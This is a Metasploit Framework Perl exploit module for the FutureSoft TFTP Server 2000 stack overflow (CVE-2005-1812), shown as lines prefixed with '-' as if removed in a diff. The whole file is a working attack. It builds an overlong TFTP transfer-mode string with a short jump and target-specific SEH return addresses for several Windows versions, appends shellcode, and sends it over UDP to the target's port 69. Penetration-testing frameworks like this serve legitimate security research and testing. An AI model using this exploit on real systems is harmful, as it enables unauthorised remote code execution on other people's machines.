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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::futuresoft_tftpd;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'FutureSoft TFTP Server 2000 Buffer Overflow',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'y0 [at] w00t-shell.net', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 0,
-
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 69],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 350,
- 'BadChars' => "\x00",
- 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in the FutureSoft TFTP Server
- 2000 product. By sending an overly long transfer-mode string, we were able
- to overwrite both the SEH and the saved EIP. A subsequent write-exception
- that will occur allows the transferring of execution to our shellcode
- via the overwritten SEH. This module has been tested against Windows
- 2000 Professional and for some reason does not seem to work against
- Windows 2000 Server (could not trigger the overflow at all).
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '16954'],
- ['CVE', '2005-1812'],
- ['BID', '13821'],
- ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
- ['MIL', '21'],
- ],
-
- 'Targets' =>
- [
- ['Windows 2000 Pro English ALL', 0x75022ac4], # ws2help.dll
- ['Windows XP Pro SP0/SP1 English', 0x71aa32ad], # ws2help.dll
- ['Windows NT SP5/SP6a English', 0x776a1799], # ws2help.dll
- ['Windows 2003 Server English', 0x7ffc0638], # PEB return
- ],
- 'Keys' => ['tftpd'],
-
- 'DisclosureDate' => 'May 31 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $splat = Pex::Text::AlphaNumText(142);
-
- my $sploit =
- "\x00\x01". "metasploit.txt". "\x00". $splat.
- "\xeb\x06". pack('V', $target->[1]).
- $shellcode. "\x00";
-
- $self->PrintLine(sprintf("[*] Trying to exploit target %s w/ return 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Udp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
-
-